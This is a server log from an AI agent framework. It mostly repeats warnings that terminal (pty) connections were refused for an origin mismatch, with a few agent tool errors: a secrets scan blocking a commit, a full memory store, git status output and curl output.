2026-07-20 09:03:14,472 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:03:18,783 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:03:23,500 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:03:27,832 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:03:32,385 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:03:37,518 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:03:42,436 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:03:47,439 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:03:52,726 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:03:56,788 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:04:01,581 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:04:06,569 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:04:11,491 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:04:16,511 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:04:21,507 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:04:26,478 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:04:30,767 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:04:36,031 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:04:41,605 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:04:46,494 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:04:51,585 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:04:56,510 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:05:01,914 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:05:06,609 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:05:11,648 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:05:17,203 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:05:22,492 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:05:27,603 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:05:32,428 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:05:37,538 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:05:42,552 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:05:47,412 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:05:52,455 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:05:57,605 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:06:02,703 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:06:07,725 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:06:12,669 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:06:17,466 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:06:22,575 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:06:27,403 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:06:32,523 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:06:37,471 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:06:42,477 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:06:46,859 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:06:51,469 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:06:56,681 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:07:01,606 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:07:06,835 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:07:11,024 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:07:16,981 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:07:22,497 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:07:27,512 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:07:32,529 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:07:36,705 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:07:41,511 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:07:46,556 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:07:48,455 WARNING [20260710_094439_1cb443b1] agent.tool_executor: Tool terminal returned error (0.79s): {"output": "❌ SECURITY BLOCKED: Potential secrets in commit\n content/research/educational_planning_positions/sources/us/nd_ospir_bailey.html: Possible API Key/Secret\n\nTo bypass (NOT RECOMMENDED): 2026-07-20 09:07:51,576 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:07:56,600 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:08:01,500 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:08:06,883 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:08:11,907 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:08:16,973 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:08:21,787 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:08:26,567 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:08:31,482 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:08:36,390 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:08:41,634 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:08:46,665 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:08:51,522 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:08:56,748 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:09:01,596 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:09:06,688 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:09:11,689 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:09:16,876 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:09:21,120 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:09:27,274 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:09:32,689 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:09:37,378 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:09:42,395 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:09:46,780 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:09:51,462 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:09:51,651 WARNING [20260710_094439_1cb443b1] agent.tool_executor: Tool memory returned error (0.01s): {"success": false, "error": "Memory at 2,148/2,200 chars. Adding this entry (234 chars) would exceed the limit. Consolidate now: use 'replace' to merge overlapping entries into shorter ones or 'remove 2026-07-20 09:09:56,556 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:10:01,029 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:10:06,720 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:10:11,679 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:10:16,669 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:10:22,337 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:10:29,760 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:10:34,445 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:10:38,889 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:10:43,648 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:10:48,478 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:10:52,932 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:10:57,521 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:11:02,560 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:11:07,766 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:11:12,894 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:11:17,572 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:11:22,611 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:11:28,626 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:11:34,340 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:11:39,467 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:11:44,413 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:11:48,736 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:11:52,910 WARNING [20260710_094439_1cb443b1] agent.tool_executor: Tool terminal returned error (0.27s): {"output": "On branch main\nYour branch is up to date with 'origin/main'.\n\nChanges not staged for commit:\n (use \"git add ...\" to update what will be committed)\n (use \"git restore 2026-07-20 09:11:53,452 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:11:58,505 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:12:03,378 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:12:08,813 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:12:12,928 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:12:17,837 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:12:22,921 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:12:28,386 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:12:36,890 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:12:41,433 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:12:45,707 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:12:50,380 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:12:55,542 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:13:00,470 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:13:05,452 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:13:10,739 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:13:15,791 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:13:20,668 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:13:24,950 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:13:31,756 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:13:38,088 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:13:46,740 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:13:50,757 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:13:55,468 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:13:59,823 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:14:04,447 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:14:09,404 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:14:14,501 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:14:19,736 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:14:24,793 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:14:30,557 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:14:35,228 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:14:42,107 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:14:43,839 WARNING [20260710_094439_1cb443b1] agent.tool_executor: Tool terminal returned error (0.06s): {"output": "% Total % Received % Xferd Average Speed Time Time Time Current\n Dload Upload Total Spent Left Speed\n\r 0 0 0 0 0 2026-07-20 09:14:49,021 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:14:54,469 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:15:00,090 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:15:05,497 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:15:10,992 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:15:16,783 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:15:21,274 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:15:26,763 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:15:31,773 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:15:37,004 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:15:42,419 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:15:47,465 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:15:52,410 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:15:57,405 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:16:02,537 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:16:07,440 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:16:11,687 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:16:16,415 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:16:21,513 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:16:26,449 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:16:31,484 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:16:36,526 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:16:40,762 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:16:45,571 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:16:50,691 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:16:55,422 WARNING hermes_cli.web_server: pty refused: 